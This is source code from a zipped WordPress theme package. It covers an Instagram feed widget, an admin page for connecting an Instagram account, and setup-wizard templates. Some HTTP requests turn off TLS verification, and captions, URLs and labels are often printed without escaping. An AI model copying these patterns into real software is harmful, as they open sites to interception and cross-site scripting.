			$images_data = self::get_instagram_data( $args );

			//print_r( $images_data );


			if ( ! is_array( $images_data ) || ! $images_data ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p style="text-align: center;">This message appears for Admin Users only:<br>No any image found. Please check it again or try with another instagram account.</p>';
				}

				return;
			}

			$output = '';

			$i = 0;

			if ( $args['orderby'] != 'rand' ) {

				$orderby = explode( '-', $args['orderby'] );
				$func    = $orderby[0] == 'date' ? 'sort_timestamp_' . $orderby[1] : 'sort_popularity_' . $orderby[1];

				usort( $images_data, array( __CLASS__, $func ) );

			} else {

				shuffle( $images_data );
			}

			foreach ( $images_data as $key => $image_data ) {

				if ( $i >= $args['images_number'] ) {
					continue;
				}


				$image_url = $link_to = '';
				if ( 'image_url' == $args['images_link'] ) {
					$link_to = $image_data['link'];
				} elseif ( 'user_url' == $args['images_link'] ) {
					$link_to = 'https://www.instagram.com/' . $args['username'] . '/';
				}

				if ( $args['image_size'] == 'jr_insta_square' ) {
					$image_url = $image_data['url_thumbnail'];
				} elseif ( $args['image_size'] == 'full' ) {
					$image_url = $image_data['url'];
				} else {
					$image_url = $image_data['url'];
				}

				$short_caption = wp_trim_words( $image_data['caption'], 10, '...' );
				$caption       = wp_trim_words( $image_data['caption'], intval( $args['caption_words'] ), $more = null );
				$nopin         = ( 1 == $args['no_pin'] ) ? 'nopin="nopin"' : '';

				$image_src = '<span style="background-image:url('.$image_url.')" class="penci-image-holder instagram-square-lazy '.penci_layout_bg_class().'">'. penci_layout_img( $image_url ).'</span>';

				$image_output = $image_src;
				if ( $link_to ) {
					$image_output = '<a href="' . $link_to . '" rel="noopener" target="_blank"';

					if ( ! empty( $args['image_link_rel'] ) ) {
						$image_output .= ' rel="' . $args['image_link_rel'] . '"';
					}

					if ( ! empty( $args['image_link_class'] ) ) {
						$image_output .= ' class="' . $args['image_link_class'] . '"';
					}
					$image_output .= ' title="' . $short_caption . '">' . $image_src . '</a>';
				}

				if ( 'slider' == $args['template'] ) {
					$output .= '<div class="penci-insta-info swiper-slide">';
					$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

					if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

						$output .= '<div class="penci-insta-datacontainer">';

						if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
							$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
							$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
						}

						$username = $args['username'];
						if ( in_array( 'username', $args['description'] ) && $username ) {
							$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.instagram.com/{$username}/' target='_blank'>{$username}</a></span>\n";
						}

						if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
							$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
							$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.instagram.com/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
							$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.instagram.com/explore/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
							$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
						}

						$output .= "</div>\n";
					}

					$output .= "</div>";
				} elseif ( 'slider-overlay' == $args['template'] ) {
					$output .= '<div class="penci-insta-info swiper-slide">';
					$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

					if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

						$output .= '<div class="penci-insta-wrap"><div class="penci-insta-datacontainer">';

						if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
							$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
							$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
						}

						$username = $args['username'];
						if ( in_array( 'username', $args['description'] ) && $username ) {
							$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.instagram.com/{$username}/' target='_blank'>{$username}</a></span>\n";
						}

						if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
							$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
							$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.instagram.com/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
							$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.instagram.com/explore/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
							$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
						}

						$output .= "</div></div>";
					}

					$output .= "</div>";
				} else {
					$output .= "<li>";
					$output .= $image_output;
					$output .= "</li>";
				}

				$i ++;
			}


			$data_slider = ' data-auto="false"';
			$data_slider .= ' data-autotime="' . ( $args['slidespeed'] ? $args['slidespeed'] : '5000' ) . '"';
			$data_slider .= ' data-dots="' . ( 'numberless' == $args['controls'] ? 'true' : '' ) . '"';
			$data_slider .= ' data-nav="' . ( 'prev_next' == $args['controls'] ? '' : 'true' ) . '"';

			if ( $output ) {
				if ( 'slider' == $args['template'] ) {
					echo '<div class="penci-instaslider-normal swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
				} elseif ( 'slider-overlay' == $args['template'] ) {
					echo '<div class="penci-instaslider-overlay swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
				} elseif ( 'thumbs-no-border' == $args['template'] ) {
					echo '<div class="penci-insta-thumb"><ul class="thumbnails no-border penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
				} else {
					echo '<div class="penci-insta-thumb"><ul class="thumbnails penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
				}
			}
		}

		public static function get_instagram_data( $args ) {

			$blocked_users = $args['blocked_users'];
			if ( 'username' == $args['search_for'] ) {
				$search        = 'user';
				$search_string = $args['username'];
			} elseif ( $args['hashtag'] ) {
				$search              = 'hashtag';
				$search_string       = $args['hashtag'];
				$blocked_users_array = $blocked_users ? self::get_ids_from_usernames( $blocked_users ) : array();
			} elseif ( $args['hashtag'] ) {
				$search        = 'hashtag';
				$search_string = $args['hashtag'];
			} else {
				$search        = '';
				$search_string = '';
			}

			$opt_name   = 'penci_insta_' . md5( $search . '_' . $search_string );
			$insta_data = get_transient( $opt_name );
			$old_opts   = (array) get_option( $opt_name );

			$new_opts = array(
				'search'        => $search,
				'search_string' => $search_string,
				'blocked_users' => $blocked_users,
				'cache_hours'   => $args['refresh_hour'],
			);

			//print_r( self::get_images_data_for_token( $args['access_token'], $args['insta_user_id'] ) );

			if ( true === self::trigger_refresh_data( $insta_data, $old_opts, $new_opts ) ) {

				if ( 'username' == $args['search_for'] ) {
					$insta_data = self::get_images_data_for_token( $args['access_token'], $args['insta_user_id'] );
				} elseif ( $args['hashtag'] ) {
					$insta_data = self::get_images_data_for_hashtag( $search_string, $blocked_users_array );
				}

				update_option( $opt_name, $new_opts );

				if ( is_array( $insta_data ) && ! empty( $insta_data ) ) {
					set_transient( $opt_name, $insta_data, $args['refresh_hour'] * 60 * 60 );
				}
			}

			return $insta_data;
		}

		public static function trigger_refresh_data( $insta_data, $old_opts, $new_opts ) {
			$trigger = 0;

			if ( isset( $_GET['penci_remove_cache_ins'] ) ) {
				return true;
			}

			if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
				return false;
			}

			if ( false === $insta_data ) {
				$trigger = 1;
			}

			if ( is_array( $old_opts ) && is_array( $old_opts ) && array_diff( $old_opts, $new_opts ) !== array_diff( $new_opts, $old_opts ) ) {
				$trigger = 1;
			}

			if ( $trigger == 1 ) {
				return true;
			}

			return false;
		}

		public static function get_images_data_for_token( $access_token, $user_id ) {
			$data_images = array();

			$access_token = self::clean_token( $access_token );


			$response_url = 'https://graph.instagram.com/' . $user_id . '/media?fields=media_url,thumbnail_url,caption,id,media_type,timestamp,username,permalink,children{media_url,id,media_type,timestamp,permalink,thumbnail_url}&limit=30&access_token=' . $access_token;

			$response = wp_remote_get( $response_url, array( 'timeout' => 60, 'sslverify' => false ) );


			if ( ! is_wp_error( $response ) ) {
				$results      = json_decode( str_replace( '%22', '&rdquo;', $response['body'] ), true );
				$data_results = isset( $results['data'] ) ? (array) $results['data'] : array();

				if ( $data_results ) {
					foreach ( $data_results as $data_item ) {

						$data_item_id    = isset( $data_item['id'] ) ? $data_item['id'] : '';
						$data_media_type = isset( $data_item['media_type'] ) ? $data_item['media_type'] : '';

						$data_item_url_thumbnail = isset( $data_item['media_url'] ) ? $data_item['media_url'] : '';
						if ( 'VIDEO' == $data_media_type || 'video' == $data_media_type ) {
							$data_item_url_thumbnail = isset( $data_item['thumbnail_url'] ) ? $data_item['thumbnail_url'] : '';
						}

						if ( $data_item_id ) {
							$data_images[ $data_item_id ] = array(
								'code'          => '',
								'username'      => '',
								'user_id'       => '',
								'caption'       => isset( $data_item['caption'] ) ? $data_item['caption'] : '',
								'id'            => $data_item_id,
								'link'          => isset( $data_item['permalink'] ) ? $data_item['permalink'] : '',
								'popularity'    => 0,
								'timestamp'     => isset( $data_item['timestamp'] ) ? $data_item['timestamp'] : '',
								'url'           => $data_item_url_thumbnail,
								'url_thumbnail' => $data_item_url_thumbnail,
							);
						}
					}
				}
			}


			return $data_images;
		}

		public static function get_images_data_for_hashtag( $hashtag, $blocked_users_array ) {
			$response = wp_remote_get( 'https://www.instagram.com/explore/tags/' . trim( $hashtag ), array(
				'sslverify' => false,
				'timeout'   => 60
			) );


			$data_images = array();

			if ( is_wp_error( $response ) ) {
				return $data_images;
			}

			if ( $response['response']['code'] == 200 ) {
				$json = self::parse_instagram_html( $response );

				$results = json_decode( $json, true );

				if ( $results && is_array( $results ) ) {
					$entry_data = isset( $results['entry_data']['TagPage'][0]['graphql']['hashtag']['edge_hashtag_to_media']['edges'] ) ? $results['entry_data']['TagPage'][0]['graphql']['hashtag']['edge_hashtag_to_media']['edges'] : array();
					if ( $entry_data ) {

						$images_number = 0;
						foreach ( $entry_data as $current => $result ) {
							$owner_id = isset( $result['node']['owner']['id'] ) ? $result['node']['owner']['id'] : '';

							if ( in_array( $owner_id, $blocked_users_array ) ) {
								continue;
							}

							if ( $images_number > 12 ) {
								continue;
							}

							$comment_count = isset( $result['node']['edge_media_to_comment']['count'] ) ? (int) ( $result['node']['edge_media_to_comment']['count'] ) : 0;
							$liked_count   = isset( $result['node']['edge_liked_by']['count'] ) ? (int) ( $result['node']['edge_liked_by']['count'] ) : 0;

							$image_data['code']          = isset( $result['node']['shortcode'] ) ? $result['node']['shortcode'] : '';
							$image_data['username']      = '';
							$image_data['user_id']       = isset( $result['node']['owner']['id'] ) ? $result['node']['owner']['id'] : '';
							$image_data['caption']       = isset( $result['node']['edge_media_to_caption']['edges']['0']['node']['text'] ) ? self::sanitize( $result['node']['edge_media_to_caption']['edges']['0']['node']['text'] ) : '';
							$image_data['id']            = isset( $result['node']['id'] ) ? $result['node']['id'] : '';
							$image_data['link']          = isset( $result['node']['shortcode'] ) ? 'https://www.instagram.com/p/' . $result['node']['shortcode'] . '/' : '';
							$image_data['popularity']    = $comment_count + $liked_count;
							$image_data['timestamp']     = isset( $result['node']['taken_at_timestamp'] ) ? (float) $result['node']['taken_at_timestamp'] : '';
							$image_data['url']           = isset( $result['node']['display_url'] ) ? $result['node']['display_url'] : '';
							$image_data['url_thumbnail'] = isset( $result['node']['thumbnail_src'] ) ? $result['node']['thumbnail_src'] : '';

							$data_images[] = $image_data;

							$images_number ++;
						}
					}
				}
			}

			return $data_images;
		}

		private static function parse_instagram_html( $response ) {
			$json = str_replace( 'window._sharedData = ', '', strstr( $response['body'], 'window._sharedData = ' ) );

			// Compatibility for version of php where strstr() doesnt accept third parameter
			if ( version_compare( PHP_VERSION, '5.3.0', '>=' ) ) {
				$json = strstr( $json, '</script>', true );
			} else {
				$json = substr( $json, 0, strpos( $json, '</script>' ) );
			}

			$json = rtrim( $json, ';' );

			return $json;
		}

		private static function get_ids_from_usernames( $usernames ) {

			$users      = explode( ',', trim( $usernames ) );
			$user_ids   = (array) get_transient( 'penci_insta_user_ids' );
			$return_ids = array();

			if ( is_array( $users ) && ! empty( $users ) ) {

				foreach ( $users as $user ) {

					if ( isset( $user_ids[ $user ] ) ) {
						continue;
					}

					$response = wp_remote_get( 'https://www.instagram.com/' . trim( $user ), array(
						'sslverify' => false,
						'timeout'   => 60
					) );

					if ( is_wp_error( $response ) ) {

						return $response->get_error_message();
					}

					if ( $response['response']['code'] == 200 ) {

						$json = str_replace( 'window._sharedData = ', '', strstr( $response['body'], 'window._sharedData = ' ) );
						if ( version_compare( PHP_VERSION, '5.3.0', '>=' ) ) {
							$json = strstr( $json, '</script>', true );
						} else {
							$json = substr( $json, 0, strpos( $json, '</script>' ) );
						}

						$json    = rtrim( $json, ';' );
						$results = json_decode( $json, true );

						if ( $results && is_array( $results ) ) {

							$user_id = isset( $results['entry_data']['ProfilePage'][0]['graphql']['user']['id'] ) ? $results['entry_data']['ProfilePage'][0]['graphql']['user']['id'] : false;
							if ( $user_id ) {

								$user_ids[ $user ] = $user_id;

								set_transient( 'penci_insta_user_ids', $user_ids );
							}
						}
					}
				}
			}

			foreach ( $users as $user ) {
				if ( isset( $user_ids[ $user ] ) ) {
					$return_ids[] = $user_ids[ $user ];
				}
			}

			return $return_ids;
		}

		private static function sanitize( $input ) {

			if ( ! empty( $input ) ) {
				$utf8_2byte       = 0xC0 /*1100 0000*/
				;
				$utf8_2byte_bmask = 0xE0 /*1110 0000*/
				;
				$utf8_3byte       = 0xE0 /*1110 0000*/
				;
				$utf8_3byte_bmask = 0XF0 /*1111 0000*/
				;
				$utf8_4byte       = 0xF0 /*1111 0000*/
				;
				$utf8_4byte_bmask = 0xF8 /*1111 1000*/
				;

				$sanitized = "";
				$len       = strlen( $input );
				for ( $i = 0; $i < $len; ++ $i ) {

					$mb_char = $input[ $i ]; // Potentially a multibyte sequence
					$byte    = ord( $mb_char );

					if ( ( $byte & $utf8_2byte_bmask ) == $utf8_2byte ) {
						$mb_char .= $input[ ++ $i ];
					} else if ( ( $byte & $utf8_3byte_bmask ) == $utf8_3byte ) {
						$mb_char .= $input[ ++ $i ];
						$mb_char .= $input[ ++ $i ];
					} else if ( ( $byte & $utf8_4byte_bmask ) == $utf8_4byte ) {
						// Replace with ? to avoid MySQL exception
						$mb_char = '';
						$i       += 3;
					}

					$sanitized .= $mb_char;
				}

				$input = $sanitized;
			}

			return $input;
		}

		public static function clean_token( $maybe_dirty ) {
			if ( substr_count( $maybe_dirty, '.' ) < 3 ) {
				return str_replace( '634hgdf83hjdj2', '', $maybe_dirty );
			}

			$parts     = explode( '.', trim( $maybe_dirty ) );
			$last_part = $parts[2] . $parts[3];
			$cleaned   = $parts[0] . '.' . base64_decode( $parts[1] ) . '.' . base64_decode( $last_part );

			return $cleaned;
		}

		/**
		 * Sort Function for timestamp Ascending
		 */
		public static function sort_timestamp_ASC( $a, $b ) {
			return $a['timestamp'] <=> $b['timestamp'];
		}

		/**
		 * Sort Function for timestamp Descending
		 */
		public static function sort_timestamp_DESC( $a, $b ) {
			return $b['timestamp'] <=> $a['timestamp'];
		}

		/**
		 * Sort Function for popularity Ascending
		 */
		public static function sort_popularity_ASC( $a, $b ) {
			return $a['popularity'] <=> $b['popularity'];
		}

		/**
		 * Sort Function for popularity Descending
		 */
		public static function sort_popularity_DESC( $a, $b ) {
			return $b['popularity'] <=> $a['popularity'];
		}
	}
endif;
PK     /w\Z      instagram/dashpage.phpnu [        <?php

class InstgramSettingPages {
	function __construct() {
		if ( ! function_exists( 'sb_instagram_feed_init' ) ) {
			add_action( 'admin_menu', [ $this, 'add_settings_page' ], 90 );
			add_action( 'init', [ $this, 'sb_instagram_feed' ] );
		}
	}

	public function add_settings_page() {
		add_submenu_page(
			'soledad_dashboard_welcome',
			esc_html__( 'Connect Instagram', 'soledad' ),
			esc_html__( 'Connect Instagram', 'soledad' ),
			'manage_options',
			'penci_instgram_token',
			[ $this, 'dashboard_content' ],
			3
		);
	}

	public function sb_instagram_feed() {
		if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) {
			return;
		}

		if ( ! empty( $_GET['page'] ) && sanitize_text_field( $_GET['page'] ) === 'sbi-feed-builder' ) {

			if ( ! empty( $_GET['sbi_access_token'] ) && current_user_can( 'manage_options' ) ) {

				$expires_in        = (int) $_GET['sbi_expires_in'];
				$expires_timestamp = time() + $expires_in;

				$account = [
					'id'           => sanitize_text_field( $_GET['sbi_id'] ),
					'username'     => sanitize_text_field( $_GET['sbi_username'] ),
					'access_token' => $this->sanitize_alphanumeric_and_equals( sanitize_text_field( $_GET['sbi_access_token'] ) ),
					'expires_on'   => (int) $expires_timestamp,
				];
				update_option( 'penci_options[penci_instagram]', $account );
			}

			// Redirect
			$redirect = admin_url( 'admin.php?page=penci_instgram_token' );
			wp_redirect( $redirect );

			exit;
		}
	}

	public function clean( $maybe_dirty ) {

		if ( substr_count( $maybe_dirty, '.' ) < 3 ) {
			return str_replace( '634hgdf83hjdj2', '', $maybe_dirty );
		}

		$parts     = explode( '.', trim( $maybe_dirty ) );
		$last_part = $parts[2] . $parts[3];
		$cleaned   = $parts[0] . '.' . base64_decode( $parts[1] ) . '.' . base64_decode( $last_part );

		return $cleaned;
	}

	public function dashboard_content() {
		$current_user          = wp_get_current_user();
		$instagram_api		   = 'https://www.instagram.com/oauth/authorize?client_id=1070624227814319&redirect_uri=https://connect-ig.smashballoon.com/instagram-business-redirect.php&response_type=code&scope=instagram_business_basic&state={%27{url={%27{url='.admin_url( 'admin.php?page=sbi-feed-builder' ).'}%27},user=' . $current_user->user_email . ',opt=in,sbi_con=f9ca19d9ce,type=business_basic,vn=6.6.1,v=free}%27}';
		$instagram_token       = get_option( 'penci_options[penci_instagram]' );
		$instagram_label       = __( 'You\'ve not connected to any Instagram Account.', 'soledad' );
		$instagram_description = sprintf( __( 'You can <a class="%1$s" href="%2$s" target="_blank">click here</a> to connect to your Instagram account.', 'soledad' ), 'penci_instagram_access_token instagram', $instagram_api );
		if ( is_array( $instagram_token ) && ! empty( $instagram_token ) ) {
			$instagram_label       = sprintf( __( 'Connected to account <strong>%s</strong>', 'soledad' ), $instagram_token['username'] );
			$instagram_description = sprintf( __( 'This token is valid until <strong>%1$s</strong> because Instagram just provide an active token in 30 days.<br>Before it expired, you should connect it again to make it won\'t break the connection to Instagram.<br>You can re-connect or connect to another Instagram account by click <a class="%2$s" href="%3$s" target="_blank">HERE</a>.', 'soledad' ), date( 'F d, Y H:i:s', (int) $instagram_token['expires_on'] ), 'penci_instagram_access_token instagram', $instagram_api );
		}
		?>
        <div class="penci-insta-token-wrapper">
            <div class="pc-ins-tk top-icon">
                <span class="dashicons dashicons-instagram"></span>
            </div>
            <div class="pc-ins-tk top-head">
                <h3><?php echo $instagram_label; ?></h3>
                <p>
					<?php echo $instagram_description; ?>
                </p>
            </div>
        </div>
		<?php
	}

	function sanitize_alphanumeric_and_equals( $value ) {
		return preg_replace( '/[^A-Za-z0-9=]/', '', $value );
	}
}

new InstgramSettingPages();
PK     /w\    &  installations/templates/activation.phpnu [        <div class="soledad-wizard-content-inner">
    <?php
    $license_data = get_option( 'penci_soledad_purchased_data' );
    if ( ! empty( $license_data ) && penci_soledad_is_activated() ) {
    ?>
    <div class="success-icon">
        <i class="dashicons dashicons-yes-alt"></i>
    </div>
    <h1 class="page-title-wz"><?php esc_html_e( 'Your site has been successfully registered with a valid license.', 'soledad' ); ?></h1>
    <p class="penci-license-detail-desc" style="font-size: 15px;">
        <?php
        if ( isset( $license_data['buyer'] ) && $license_data['buyer'] ) {
            $buyer         = $license_data['buyer'];
            $buyer_len     = strlen( $buyer );
            $buyer_display = substr( $buyer, 0, 1 ) . str_repeat( '*', $buyer_len - 2 ) . substr( $buyer, $buyer_len - 1, 1 );
            ?>
            <strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Buyer Username', 'soledad' ); ?></strong> : &nbsp;&nbsp;
            <strong><?php echo $buyer_display; ?></strong><br>
        <?php } ?>
        <?php if ( isset( $license_data['bount_time'] ) && $license_data['bount_time'] ) { ?>
            <strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Purchase Date', 'soledad' ); ?></strong> : &nbsp;&nbsp;
            <strong><?php echo $license_data['bount_time']; ?></strong><br>
        <?php } ?>
        <?php
        if ( isset( $license_data['purchase_code'] ) && $license_data['purchase_code'] ) {
            $purchased_code = $license_data['purchase_code'];
            $code_len       = strlen( $purchased_code );
            $code_display   = substr( $purchased_code, 0, 8 ) . str_repeat( '*', $code_len - 16 ) . substr( $purchased_code, $code_len - 8, 8 );
            ?>
            <strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Item Purchase Code', 'soledad' ); ?></strong> : &nbsp;&nbsp;
            <strong><?php echo $code_display; ?></strong><br>
        <?php } ?>
    </p>
    <?php } else { ?>
    <form id="penci-check-license"
          action="<?php echo admin_url( 'admin.php?page=soledad_active_theme' ); ?>">
        <div class="penci-activate-inputs">
            <input name="evato-code" class="penci-form-control evato-code" type="text"
                   placeholder="<?php esc_html_e( 'Your Purchase Code', 'soledad' ); ?>" value=""
                   autocomplete="off">
            <input type="hidden" name="server-id" class="server-id"
                   value="" readonly/>
            <span class="penci-form-control-bar"></span>
            <div class="penci-activate-err">
                <span class="penci-err-missing"><?php esc_html_e( 'Code is required', 'soledad' ); ?></span>
                <span class="penci-err-length"><?php esc_html_e( 'Code is too short', 'soledad' ); ?></span>
                <span class="penci-err-invalid"><?php esc_html_e( 'Invalid purchase code. Please check it again.', 'soledad' ); ?></span>
            </div>
        </div>
        <button class="soledad-activate-button"><?php esc_html_e( 'Activate theme', 'soledad' ); ?></button>
        <div class="spinner"></div>
        <div class="soledad-find-code">
            <a href="<?php echo esc_url( 'https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-' ); ?>"
               target="_blank">
				<?php esc_html_e( 'Find Your Purchase Code', 'soledad' ); ?>
            </a>
        </div>
    </form>
    <div class="penci-activate-extra-notes">
        <p class="penci-activate-desc" style="margin: 30px 0 10px;">
			<?php _e( 'To deliver you a better customer support service, access to features and to prevent piracy when the theme is activated the following data is sent to our servers:', 'soledad' ); ?>
        </p>
        <ul style="list-style: square; padding-left: 40px; font-size: 14px;">
            <li><?php _e( 'The Envato username', 'soledad' ); ?></li>
            <li><?php _e( 'The Envato purchase code for the item', 'soledad' ); ?></li>
            <li><?php _e( 'The website URL you\'ve activated the theme', 'soledad' ); ?></li>
            <li><?php _e( 'The server IP address that has the theme installed', 'soledad' ); ?></li>
        </ul>
        <p class="penci-activate-desc"
           style="margin-bottom: 0;"><?php _e( 'The data is stored in a server located in US, and we do not share any of this information with third-party partners.' ); ?></p>
        </p>
    </div>
    <?php } ?>
</div>

<div class="soledad-wizard-footer">
	<?php $this->get_prev_button( 'welcome' ); ?>
    <div>
        <?php $this->get_next_button( 'child-theme' ); ?>
    </div>
</div>PK     /w\%  %  '  installations/templates/child-theme.phpnu [        <div class="soledad-wizard-content-inner soledad-wizard-child-theme<?php echo is_child_theme() ? ' soledad-installed' : ''; ?>">

    <div class="soledad-child-theme-response"></div>

    <h3>
		<?php esc_html_e( 'Setup Soledad Child Theme', 'soledad' ); ?>
    </h3>

    <p>
		<?php
    if ( is_child_theme() ) {
        esc_html_e( 'You have already installed the child theme. You can now customize it as you like.', 'soledad' );
    } else {
        esc_html_e( 'The Soledad Child Theme is a WordPress theme that inherits the functionality and styling of the Soledad Parent Theme, allowing you to make customizations without affecting the parent theme.', 'soledad' );
    }
    ?>
    </p>

    <div class="soledad-theme-images">
        <div class="soledad-main-image">
            <img src="<?php echo PENCI_SOLEDAD_URL . '/screenshot.png'; ?>" alt="parent">
        </div>
        <div class="soledad-child-image">
          <img src="<?php echo PENCI_SOLEDAD_URL . '/screenshot.png'; ?>" alt="child">
        </div>
        <span class="soledad-child-checkmark"></span>
    </div>

    <p>
		<?php
		esc_html_e(
			'If you are going to make changes to the theme source code please use the Child Theme rather than modifying the main theme HTML/CSS/PHP code. This allows the parent theme to receive updates without overwriting your source code changes. Use the button below to create and activate the Child Theme.',
			'soledad'
		);
		?>
    </p>

    <a href="#" class="soledad-btn soledad-color-primary soledad-install-child-theme">
		  <?php esc_html_e( 'Install child theme', 'soledad' ); ?>
    </a>
</div>

<div class="soledad-wizard-footer">
	<?php $this->get_prev_button( 'activation' ); ?>
    <div>
		<?php $this->get_next_button( 'plugins' ); ?>
		<?php $this->get_skip_button( 'plugins' ); ?>
    </div>
</div>PK     /w\U       installations/templates/done.phpnu [        <?php
update_option( 'soledad_setup_status', 'done', false );
?>
<div class="soledad-wizard-content-inner soledad-wizard-done">
	<div class="soledad-wizard-logo">
		<img src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/images/penci-logo-themeforest.png' ); ?>" alt="logo">
	</div>

	<h3>
		<?php esc_html_e( 'Everything is ready!', 'soledad' ); ?>
	</h3>

	<p>
		<?php
		esc_html_e(
			'Congratulations! The theme has been installed successfully, and you’re all set to begin creating your stunning website. Enjoy full control over design and layout, allowing you to build a site that truly reflects your unique vision.',
			'soledad'
		);
		?>
	</p>

	<div class="soledad-wizard-buttons">
		<a class="penci-install-btn penci-install-color-alt penci-install-i-view" href="<?php echo esc_url( admin_url() ); ?>">
			<?php esc_html_e( 'Return to Dashboard', 'soledad' ); ?>
		</a>
		
		<a class="penci-install-btn penci-install-color-primary penci-install-i-view" href="<?php echo esc_url( get_home_url() ); ?>">
			<?php esc_html_e( 'View Site', 'soledad' ); ?>
		</a>

		<a class="penci-install-inline-btn penci-install-i-theme-settings" href="<?php echo esc_url( admin_url( 'customize.php' ) ); ?>">
			<?php esc_html_e( 'Customizations', 'soledad' ); ?>
		</a>
	</div>
</div>PK     /w\Bc    #  installations/templates/plugins.phpnu [        <?php
if ( isset( $_GET['soledad_builder'] ) ) {
	$builder = esc_html( $_GET['soledad_builder'] );
} else {
	$builder = 'elementor';
}

$installations = Soledad_Theme_Installations::get_instance();
$plugins_list = $installations->get_plugins();

if ( $installations->is_setup() ) {
	$button_item_class = 'penci-install-inline-btn penci-install-style-underline';
} else {
	$button_item_class = 'penci-install-btn';
}
$active_list = 0;
?>
<div class="penci-install-plugins<?php echo $installations->is_all_activated() ? ' penci-install-all-active' : ''; ?>">
	<div class="penci-install-plugin-response"></div>

	<?php if ( $installations->is_setup() ) : ?>
		<h3>
			<?php esc_html_e( 'Plugins activation', 'soledad' ); ?>
		</h3>

		<p>
			<?php esc_html_e( 'Install and activate plugins for your website.', 'soledad' ); ?>
		</p>
	<?php endif; ?>

	<ul>
		<?php foreach ( $plugins_list as $slug => $plugin_data ) : 
			if ( $plugin_data['name'] == '' ){
				continue; // Skip plugins without a name
			}

			if ( 'deactivate' == $plugin_data['status'] ) {
				$active_list++;
			}

			?>
			
			<li class="soledad-plugin-wrapper<?php echo isset( $plugin_data['description'] ) ? ' penci-install-large' : ''; ?>">
				<div class="penci-install-plugin-heading">
				
					<span class="penci-install-plugin-name">
						<?php echo esc_html( $plugin_data['name'] ); ?>
					</span>
				</div>

					<span class="penci-install-plugin-required">
						<?php if ( ! empty( $plugin_data['required'] ) || 'elementor' === $slug || 'js_composer' === $slug ) : ?>
							
							<span class="penci-install-plugin-required-text">
								<?php esc_html_e( 'Required', 'soledad' ); ?>
							</span>
						<?php endif; ?>
					</span>

				<?php if ( ! empty( $plugin_data['description'] ) ) : ?>
					<div class="penci-install-plugin-description">
						<?php echo esc_html( $plugin_data['description'] ); ?>
					</div>
				<?php endif; ?>

				<span class="penci-install-plugin-version">
					<?php if ( ! empty( $plugin_data['version'] ) ) : ?>
						<span>
							<?php echo esc_html( $plugin_data['version'] ); ?>
						</span>
					<?php endif; ?>
				</span>

				<div class="penci-install-plugin-btn-wrapper">
					<?php if ( is_multisite() && is_plugin_active_for_network( $plugin_data['file_path'] ) ) : ?>
						<span class="penci-install-plugin-btn-text">
							<?php esc_html_e( 'Plugin activated globally.', 'soledad' ); ?>
						</span>
					<?php elseif ( isset( $plugin_data['status'] ) && 'require_update' !== $plugin_data['status'] ) : ?>
						<a class="<?php echo esc_attr( $button_item_class ); ?> soledad-ajax-plugin soledad-<?php echo esc_html( $plugin_data['status'] ); ?>"
							href="<?php echo esc_url( $installations->get_action_url( $slug, $plugin_data['status'] ) ); ?>"
							data-plugin="<?php echo esc_attr( $slug ); ?>"
							data-action="<?php echo esc_attr( $plugin_data['status'] ); ?>">
							<span><?php echo esc_html( $installations->get_action_text( $plugin_data['status'] ) ); ?></span>
						</a>
					<?php elseif ( $installations->is_setup() ) : ?>
						<span class="penci-install-plugin-btn-text">
							<?php esc_html_e( 'Required update not available', 'soledad' ); ?>
						</span>
					<?php endif; ?>

					<?php if ( isset( $plugin_data['buttons'] ) ) : ?>
						<?php foreach ( $plugin_data['buttons'] as $button ) : ?>
							<a href="<?php echo esc_url( $button['url'] ); ?>" class="penci-install-btn<?php echo isset( $button['extra-class'] ) ? ' ' . esc_attr( $button['extra-class'] ) : ''; ?>">
								<?php echo esc_html( $button['name'] ); ?>
							</a>
						<?php endforeach; ?>
					<?php endif; ?>
				</div>
			</li>
		<?php endforeach; ?>
	</ul>

